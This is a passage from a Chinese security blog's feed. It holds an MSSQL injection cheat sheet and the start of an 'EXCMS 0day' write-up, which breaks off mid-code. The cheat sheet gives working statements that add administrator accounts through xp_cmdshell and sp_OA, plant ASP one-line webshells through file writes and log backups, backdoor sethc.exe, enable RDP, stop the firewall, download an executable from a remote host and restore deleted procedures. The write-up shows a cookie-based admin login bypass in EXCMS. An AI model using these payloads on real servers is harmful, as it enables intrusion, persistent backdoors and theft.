/>&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;<br />1、master.dbo.xp_cmdshell 'net user itpro gmasfm &amp;&amp; net localgroup administrators itpro /add'<br />2、EXEC sp_resolve_logins 'text', 'e:\asp\&quot;&amp;net user admina admin /add&amp;net localgroup administrators admina /add&amp;dir &quot;e:\asp', '1.asp'<br />3、DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD <br />@shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user sadfish fish /add'<br />&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;<br /><br />四、<br />-------------------------<br />-- 导出文件的存储过程&nbsp; --<br />-------------------------<br />&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;<br />DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINdows\system32\cmd.exe /c netstat -an &gt;c:\1.txt'<br />&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;<br /><br />五、<br />---------------------------<br />--&nbsp; 读取文件的存储过程&nbsp; &nbsp;--<br />---------------------------<br />&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;<br />declare @o int, @f int, @t int, @ret int<br />declare @line varchar(8000)<br />exec sp_oacreate 'scripting.filesystemobject', @o out<br />exec sp_oamethod @o, 'opentextfile', @f out, 'c:\1.txt', 1<br />exec @ret = sp_oamethod @f, 'readline', @line out<br />while( @ret = 0 )<br />begin<br />print @line<br />exec @ret = sp_oamethod @f, 'readline', @line out<br />end<br />&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;<br /><br />六、<br /><br />----------------------<br />-----写一句话木马-----<br />----------------------<br />&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;<br />declare @o int, @f int, @t int, @ret int<br />exec sp_oacreate 'scripting.filesystemobject', @o out<br />exec sp_oamethod @o, 'createtextfile', @f out, 'c:\Inetpub\tianhong\2.asp', 1<br />exec @ret = sp_oamethod @f, 'writeline', NULL,<br />'&lt;%execute(request(&quot;a&quot;))%&gt;'&nbsp; &nbsp; &nbsp;' ' 单引号为要写的内容<br />&lt;%25 if request(&quot;x&quot;)&lt;&gt;&quot;&quot; then execute(request(&quot;x&quot;))%25&gt;<br />&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;<br /><br />防注入写入法<br />================================================================<br />declare @a int,@b int,@c varchar(255),@d varchar(255),@e varchar(255),@f varchar(255),@g varchar(255),@h varchar(255),@i varchar(255),@j varchar(255);<br />set @c=0x6D61737465722E2E73705F6F61637265617465;<br />set @d=0x6D61737465722E2E73705F6F616D6574686F64;<br />set @e=0x536372697074696E672E46696C6573797374656D4F626A656374;<br />set @f=0x4372656174655465787446696C65;<br />set @g=0x433A5C496E65747075625C73797374656D2E617370;<br />set @h=0x74727565;<br />set @i=0x7772697465;<br />set @j=0x3C256576616C20726571756573742822582229253E;<br />exec @c @e,@a output;<br />exec @d @a,@f,@b output,@g,@h;<br />exec @d @b,@i,null,@j<br />==================================================================<br /><br />七、<br />----------------------<br />-----写一句话木马-----<br />----------------------<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br />declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003e000d000a002700;exec sp_makewebtask 0x43003a005c007a00770065006c006c002e00610073007000, @s;-- and% 1=1<br />在上面一样;exec%20sp_makewebtask%20'd:\zjkdj\zjkdj\zjkds\bake.asp,'%20select%20''&lt;%25execute(request(&quot;a&quot;))%25&gt;''%20';--<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br /><br />八、<br />----------------------<br />---SA沙盒模式提权-----<br />----------------------<br />&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;<br />1、exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--<br /><br />2、Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell(&quot;net user itpro gmasfm /add&quot;)');<br />&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;<br /><br />九、<br />--------------------<br />-----另类SA提权-----<br />--------------------<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br />2、declare @oo int<br />exec sp_oacreate 'scripting.filesystemobject', @oo out <br />exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';<br />1、declare @o int<br />exec sp_oacreate 'scripting.filesystemobject', @o out <br />exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';<br /><br />DECLARE @o int<br />DECLARE @z int<br />EXEC sp_OACreate 'Shell.Users',@o OUT<br />EXEC sp_OAMethod @o, 'Create', @z OUT, 'test'<br />EXEC sp_OASetProperty&nbsp; @z, 'setting', 3 , 'AccountType'<br />EXEC sp_OAMethod @z, 'ChangePassword',NULL , '123456', ''<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br /><br />十、<br />--------------<br />--导出注册表--<br />--------------<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br />1、drop table [regdir];create table [regdir](value nvarchar(1000) null,data nvarchar(1000) null)--<br /><br />2、delete [regdir];insert [regdir]exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port'<br /><br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br /><br />十一、<br /><br />----------------<br />---下载程序-----<br />----------------<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br />1、declare @b varbinary(8000),@hr int,@http int,@down int exec sp_oacreate [microsoft.xmlhttp],@http output exec @hr = sp_oamethod @http,[open],null,[get],[http://192.168.1.6:800/wwwroot.rar],0 exec @hr = sp_oamethod @http,[send],null exec @hr=sp_oagetproperty @http,[responsebody],@b output exec @hr=sp_oacreate [adodb.stream],@down output exec @hr=sp_oasetproperty @down,[type],1 exec @hr=sp_oasetproperty @down,[mode],3 exec @hr=sp_oamethod @down,[open],null exec @hr=sp_oamethod @down,[write],null,@b exec @hr=sp_oamethod @down,[savetofile],null,[c:/a.exe],1 ;-- and 1=1<br /><br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br /><br />十二、<br /><br />-----------------<br />-Log备份WebShell-<br />-----------------<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br />alter database master set RECOVERY FULL<br />create table cmd (a image)--<br />backup log master to disk = 'c:\cmd' with init<br />insert into cmd (a) values ('&lt;%eval(request(&quot;a&quot;)):response.end%&gt;')--<br />backup log master to disk = 'C:\Inetpub\wwwroot\ri3.asp'--<br />drop table cmd--<br />2\<br /><br />use mir<br />alter database mir set RECOVERY FULL --<br />create table cmd8 (a image)--<br />backup log mir to disk = 'c:\cmd8' with init --<br />insert into cmd8 (a) values ('&lt;%eval(request(&quot;a&quot;)):response.end%&gt;')--<br />backup log mir to disk = 'c:\backup.asp'--<br />drop table cmd8--<br />alter database mir set RECOVERY SIMPLE --<br />3\<br />create/**/table/**/[dbo].[shit_tmp]/**/([cmd]/**/[image])--<br />declare/**/@a/**/sysname,@s/**/nvarchar(4000)/**/select/**/@a=db_name(),@s=0x6C0061006F007A0068006F007500/**/backup/**/log/**/@a/**/to/**/disk/**/=/**/@s/**/with/**/init,no_truncate--<br />insert/**/into/**/[shit_tmp](cmd)/**/values(0x3C256576616C28726571756573742822612229293A726573706F6E73652E656E64253E)--<br />select/**/@s=0x63003a005c0031002e00610073007000/**/backup/**/log/**/@a/**/to/**/disk=@s/**/with/**/init,no_truncate--<br />Drop/**/table/**/[shit_tmp]--<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br /><br />十三、<br />-------------------------------<br />--创建sp_readtextfile存储过程--<br />-------------------------------<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br />Create proc sp_readTextFile @filename sysname<br />as<br /><br />&nbsp; begin<br />&nbsp; set nocount on<br />&nbsp; Create table #tempfile (line varchar(8000))<br />&nbsp; exec ('bulk insert #tempfile from &quot;' + @filename + '&quot;')<br />&nbsp; select * from #tempfile<br />&nbsp; drop table #tempfile<br />End<br />go<br /><br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br /><br />十四、开3389<br />===================================================================<br />declare @a varchar(255),@b varchar(255); set @a=0x6D61737465722E64626F2E78705F636D647368656C6C; set @b=0x636D64202F6320776D6963205244544F47474C45205748455245205365727665724E616D653D2725434F4D50555445524E414D4525272063616C6C20536574416C6C6F775453436F6E6E656374696F6E732031; exec @a @b<br />===================================================================<br /><br /><br /><br /><br />我记得2003的web目录是写在C:\WINDOWS\system32\inetsrv\MetaBase.xml<br />-----------------<br />---读取文件内容--<br />-----------------<br />exec sp_readTextFile 'c:\boot.ini'<br /><br /><br />xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File&nbsp; Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\cmd.exe'<br /><br /><br />-----------------------<br />---清除MsSql日志-------<br />-----------------------<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br />set nocount on <br />declare @logicalfilename sysname,<br />@maxminutes int,<br />@newsize int<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br /><br />----------------------<br />--停掉或激活某个服务--<br />----------------------<br />exec master..xp_servicecontrol 'stop','sharedaccess'<br />exec master..xp_servicecontrol 'start','sharedaccess'<br /><br />--------------------<br />--列出驱动器的名称--<br />--------------------<br /><br />EXEC [master].[dbo].[xp_availablemedia]<br /><br />----------------------------------<br />--列出指定目录的所有下一级子目录--<br />----------------------------------<br /><br />EXEC [master].[dbo].[xp_subdirs] 'c:\windows'<br /><br />------------------------------<br />--列出当前错误日志的具体内容--<br />------------------------------<br /><br />EXEC [master].[dbo].[xp_readerrorlog]<br /><br />----------------------<br />--列出当前计算机名称--<br />----------------------<br /><br />execute master..xp_getnetname<br /><br />--------------------------------<br />-列出当前计算机的驱动器可用空间-<br />--------------------------------<br /><br />execute master..xp_fixeddrives<br /><br />========================<br />==列出服务器所有本地组==<br />========================<br /><br />execute master..xp_enumgroups<br /><br />======================<br />==获取MS SQL的版本号==<br />======================<br /><br />execute master..sp_msgetversion<br /><br />=========================================<br />==参数说明:目录名,目录深度,是否显示文件==<br />========================================= <br /><br />execute master..xp_dirtree 'c:' <br />execute master..xp_dirtree 'c:',1 <br />execute master..xp_dirtree 'c:',1,1<br /><br />=========================================<br />==列出服务器上安装的所有OLEDB提供的程序==<br />=========================================<br /><br />execute master..xp_enum_oledb_providers<br /><br />=========================<br />==列出服务器上配置的DNS==<br />=========================<br /><br />execute master..xp_enumdsn <br /><br />删除存储过程 <br /><br />drop PROCEDURE sp_addextendedproc<br /><br /><br />-----------------------<br />--删除sql危险存储过程--<br />-----------------------<br /><br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br />DROP PROCEDURE sp_makewebtask<br />exec master..sp_dropextendedproc xp_cmdshell<br />exec master..sp_dropextendedproc xp_dirtree<br />exec master..sp_dropextendedproc xp_fileexist<br />exec master..sp_dropextendedproc xp_terminate_process<br />exec master..sp_dropextendedproc sp_oamethod<br />exec master..sp_dropextendedproc sp_oacreate<br />exec master..sp_dropextendedproc xp_regaddmultistring<br />exec master..sp_dropextendedproc xp_regdeletekey<br />exec master..sp_dropextendedproc xp_regdeletevalue<br />exec master..sp_dropextendedproc xp_regenumkeys<br />exec master..sp_dropextendedproc xp_regenumvalues<br />exec master..sp_dropextendedproc sp_add_job<br />exec master..sp_dropextendedproc sp_addtask<br />exec master..sp_dropextendedproc xp_regread<br />exec master..sp_dropextendedproc xp_regwrite<br />exec master..sp_dropextendedproc xp_readwebtask<br />exec master..sp_dropextendedproc xp_makewebtask<br />exec master..sp_dropextendedproc xp_regremovemultistring<br />exec master..sp_dropextendedproc sp_OACreate<br />DROP PROCEDURE sp_addextendedproc<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br />xp_cmdshell新的恢复办法<br /><br />扩展储存过程被删除以后可以有很简单的办法恢复：<br />删除<br />drop procedure sp_addextendedproc<br />drop procedure sp_oacreate<br />exec sp_dropextendedproc 'xp_cmdshell'<br /><br />恢复<br />dbcc addextendedproc (&quot;sp_oacreate&quot;,&quot;odsole70.dll&quot;)<br />dbcc addextendedproc (&quot;xp_cmdshell&quot;,&quot;xplog70.dll&quot;)<br /><br />这样可以直接恢复，不用去管sp_addextendedproc是不是存在<br /><br />-----------------------------<br /><br />删除扩展存储过过程xp_cmdshell的语句:<br />exec sp_dropextendedproc 'xp_cmdshell'<br /><br />恢复cmdshell的sql语句<br />exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'<br /><br /><br />开启cmdshell的sql语句<br /><br />exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'<br /><br />判断存储扩展是否存在<br />select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'<br />返回结果为1就ok<br /><br />恢复xp_cmdshell<br />exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'<br />返回结果为1就ok<br /><br />否则上传xplog7.0.dll<br />exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'<br /><br />堵上cmdshell的sql语句<br />sp_dropextendedproc &quot;xp_cmdshell <br /><br />读3389端口<br />regedit /e port.reg &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot;<br />然后 type port.reg | find &quot;PortNumber&quot; <br />sql 语句<br />exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'<br />declare @s varchar(4000) set @s=cast(0x65786563206D61737465722E2E78705F726567726561642027484B45595F4C4F43414C5F4D414348494E45272C2753595354454D5C43757272656E74436F6E74726F6C5365745C436F6E74726F6C5C5465726D696E616C205365727665725C57696E53746174696F6E735C5244502D546370272C27506F72744E756D62657227 as varchar(4000));exec(@s); --<br /><br /><br />开启2003的终端(sa)<br />xp_regwrite 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\Terminal Server', 'fDenyTSConnections','REG_DWORD','0'<br /><br />exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--</div></div>]]></description>
		<link>http://www.misssky.cn/technical-articles/sql-stored-procedure-used-in-advanced-injection/</link>
			</item>
	<item>
		<title>EXCMS 0day</title>
		<description><![CDATA[以下版本没测试 测试的是最新版本
在公布前几小时没有通知官方  ^_^ 哈哈 
为什么说过程精彩呢？  看完就明白！
因为这个漏洞原因非一般！  同时映射出中国软件行业的悲哀！！！

经典对白 看代码
后台登录文件
admin\Modules\Auth\Index.php
<div class="hl-surround"><div class="hl-main">&lt;?<br />if ( defined( &quot;EXCMS&quot; ) )&nbsp; &nbsp;//在admin/index.php里有了&nbsp; 下面文件都是包含运行方式的<br />{<br />}<br />if ( !defined( &quot;EXCMS_ADMIN&quot; ) )<br />{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;exit( &quot;Access Denied&quot; );<br />}<br />$excms_action['title'] = &quot;登录&quot;; //标题<br />$forward = $_GET['forward'];&nbsp; //登录后转跳的地方<br />$verifycode = $EXCMS_CONFIG['login_verifycode'];&nbsp; //验证码。。。<br />if ( $_POST['loginType'] != 1 &amp;&amp; !empty( $_COOKIE['EXCMSADMIN'] ) )<br />//迈下伏笔了！<br />{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$defaultBoxDisplay = &quot;none&quot;;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$BoxDisplay = &quot;&quot;;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$remeberInfo = explode( &quot;&amp;&quot;, $_COOKIE['EXCMSADMIN'] );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//看到这里没？ 神奇把？<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$remeberAdmin = $remeberInfo[0];<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$remeberPwd = $remeberInfo[1];<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//账号密码获取了(COOKIES方式？)&nbsp; &nbsp;看下去将会发生的事情很惊天地！<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$pwdForever = strtoupper( md5( $remeberAdmin.&quot; love EXCMS forever&quot; ) );<br />//这就是中国特色！&nbsp; 作者 你知道良心2个字什么写吗？ 你知道什么叫道德吗？<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$remeberPwd = $remeberPwd == $pwdForever ? true : false;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$loginInputDispay = $remeberPwd ? &quot;none&quot; : &quot;&quot;;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$loginType = $remeberPwd ? 3 : 2;<br />}<br />else<br />{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$defaultBoxDisplay = &quot;&quot;;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$BoxDisplay = &quot;none&quot;;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$loginInputDispay = &quot;none&quot;;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$loginType = 1;<br />}<br /><br />//下面是输出登录界面的<br /><br />然后是CheckLogin.php 验证登录文件<br />经典对白 看代码！<br />&lt;?<br />if ( defined( &quot;EXCMS&quot; ) )//index.php有了 <br />{<br />}<br />if ( !defined( &quot;EXCMS_ADMIN&quot; ) )<br />{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;exit( &quot;Access Denied&quot; );<br />}<br />$excms_action['loadtpl'] = true;&nbsp; <br />$adminname = trim( $param['adminname'] );<br />$password = trim( $param['loginType'] == 2 ? $param['password1'] : $param['password'] );<br />$rememberPwd = $param['loginType'] == 2 ? $param['savePwd'] : $param['rememberPwd'];<br />$forward = $param['forward'];<br />$login_fail = true;<br />$error = &quot;&quot;;<br />//以上东西不用理 $param都是POST方式的<br />if ( empty( $adminname ) )<br />//检测账户是否为空<br />{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$error = getlangbyname( &quot;EMPTY_ADMINNAME&quot; );<br />}<br />else if ( $param['loginType'] != 3 &amp;&amp; empty( $password ) )<br />//检测这个什么东西 可能是步骤把 是否第3步和密码是否是空<br />{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$error = getlangbyname( &quot;EMPTY_PASSWORD&quot; );<br />}<br />else<br />{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if ( $param['loginType'] == 3 )<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{<br />//以下内容绝非因失误做成的漏洞&nbsp; 以这个程序编写技术 没可能这样&nbsp; 可以找任何PHP高手鉴证<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$remeberInfo = explode( &quot;&amp;&quot;, $_COOKIE['EXCMSADMIN'] );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$remeberAdmin = $remeberInfo[0];<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$remeberPwd = $remeberInfo[1];<br />//账号密码从COOKIES里获取！<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$pwdForever = strtoupper( md5( $adminname.&quot; love EXCMS forever&quot; ) );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if ( $remeberPwd == $pwdForever )<br />//COOKIES里的账号加密过程 比ESPCMS还简单~~<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;include_once( LIB_PATH.&quot;system/Admin.class.php&quot; );<br />&nbsp;&nbsp; 